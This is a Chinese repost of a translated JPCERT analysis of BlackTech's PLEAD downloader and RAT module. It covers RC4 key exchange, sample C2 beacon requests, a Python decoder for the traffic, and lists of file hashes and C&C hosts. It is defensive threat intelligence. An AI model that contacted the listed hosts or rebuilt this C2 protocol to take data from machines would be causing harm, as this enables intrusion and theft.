美文网首页
APT组织blacktech的PLEAD恶意软件分析

APT组织blacktech的PLEAD恶意软件分析

作者: 蚁景科技 | 来源:发表于2018-08-22 11:25 被阅读21次
    本文为原创文章,转载请注明出处!

    翻译文章

    原文链接为https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html

    前言

    在过去的一篇文章中,我们介绍了APT组织BlackTech使用的TSCookie恶意软件。据悉,该组织还使用了其他类型的恶意软件“PLEAD”。PLEAD有两类——RAT(远程访问工具)和Downloader(下载程序)。RAT的命令运行基于C&C服务器提供。(请参阅https://www.lac.co.jp/lacwatch/people/20180425_001625.html了解更多信息)另一方面,PLEAD Downloader的下载模块与TSCookie在内存上运行的方式如出一辙。本文详细介绍了PLEAD下载器的工作流程。


    PLEAD Downloader的工作流程

    首先PLEAD Downloader从某些站点下载经过RC4加密的模块。图1显示了从服务器下载的加密文件的示例。

    下载文件的前20h是用于解码文件的RC4密钥。解码后,您可以找到模块(以下称为“PLEAD模块”),C&C服务器,加密密钥等。图2是解密文件的示例。

    PLEAD下载程序加载PLEAD模块(包含在解密数据中)并执行它。该模块不会保存为文件,只会存在于内存中。以下部分将介绍PLEAD模块的详细信息。

    PLEAD模块

    PLEAD模块基于C&C服务器提供的命令运行。与C&C服务器之间的通信采用RC4加密,然后使用LZO进行压缩。RC4加密密钥是由其自身生成的密钥和从C&C服务器发送的密钥的组合。图3描述了PLEAD模块执行的通信流程。

    PLEAD模块首先与C&C服务器共享RC4密钥。下面是在通信开始时发送的HTTP GET请求的示例。Cookie标头包含加密的RC4密钥。在Cookie标头中发送的数据中,“D”和“E”互换。有关数据格式,请参阅附录A中的表A-1和A-2。

    GET /index.php?id=1577061168 HTTP/1.1

    Cache-Control: no-cache

    Accept: */*

    Pragma: no-cache

    Cookie: 800809D6411C6E2629001900A92309EB26192117C5A59F306E207A8993A2F20121FC3B42B6DF693838

    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

    Host: [host name]

    Connection: Keep-Alive

    用于数据加密的RC4密钥长度为32字节,分为5个块(4字节* 4 + 16字节* 1)。密钥中的第一个块(图3中的Key1)包含在PLEAD模块的配置中。在HTTP GET请求中将第二个和第三个块(Key2和3)设置为0。第四个块(Key4)是随机生成的,并在URL中的“id”之后插入。第五个块(Key5)基于Key4值生成。

    首先发送的数据包含Key2值。使用该值,接收方服务器会加密Key3值并将其发送到C&C服务器。数据格式在附录A的表A-3和A-4中描述。这样,生成RC4密钥并用于随后的通信。

    下面是解码数据的Python脚本的一部分。

    def decode(key1, key2, key3, key4, data, lzo_header):

       rc4_key = key1 + pack("III", key2, key3, key4)

       for i in xrange(4):

           key4 = ROR(key4 + 1, 5)

           rc4_key += pack("I", key4)

       dec = rc4(data, rc4_key)

       try:

           return lzo.decompress(lzo_header + dec)

       except:

           sys.exit("[!] Lzo decompress error.")

    共享RC4密钥后,PLEAD模块使用HTTP POST请求发送有关受感染主机的信息。数据格式与附录A中的表A-1所示相同。

    POST /index.php?id=2852129559 HTTP/1.1

    Content-Type: application/x-www-form-urlencoded

    Accept: */*

    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

    Host: [host name]

    Content-Length: [data size]

    Connection: Keep-Alive

    Cache-Control: no-cache

    [data]

    数据本身包含受感染主机的主机名,操作系统版本,IP地址,用户帐户名。图4是解码数据的示例。

    之后,将从C&C服务器发送命令。PLEAD模块可以执行以下功能。

    泄露文件列表

    任意shell命令执行

    上传/下载文件

    文件操作 (有关命令的详细信息,请参阅附录B中的B-1)

    结论

    正如我们之前所描述的,该组织一直在使用各种恶意软件对日本境内进行攻击。由于这次攻击活动可能还会继续,JPCERT将密切关注相关消息。附录C中我们列出了本文中描述的样本的哈希值。最近确认的一些C&C服务器也列在附录D中。请确保您的设备都没有访问这些主机。

    附录A PLEAD模块通信数据


    附录B PLEAD模块命令

    附录C样本的SHA-256哈希值

    PLEAD

    bc2c8cc9896cdd5816509f43cb5dca7433198251d754a997a70db7e8ed5cca40

    a26df4f62ada084a596bf0f603691bc9c02024be98abec4a9872f0ff0085f940

    2ddb2030ab3373b9438102b541aa4623b7dfee972850dcef05742ecbe8982e22

    eec3f761f7eabe9ed569f39e896be24c9bbb8861b15dbde1b3d539505cd9dd8d

    PLEAD模块

    23f554cc5bea9d4ccd62b0bbccaa4599f225ebce4ad956a576cc1a9b2a73dc15

    附录D C&C服务器列表

    em.totalpople.info 

    office.panasocin.com 

    gstrap.jkub.com 

    woc.yasonbin.info 

    210.71.209.206


    文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。

    相关文章

      网友评论

          本文标题:APT组织blacktech的PLEAD恶意软件分析

          本文链接:https://www.haomeiwen.com/subject/mcveiftx.html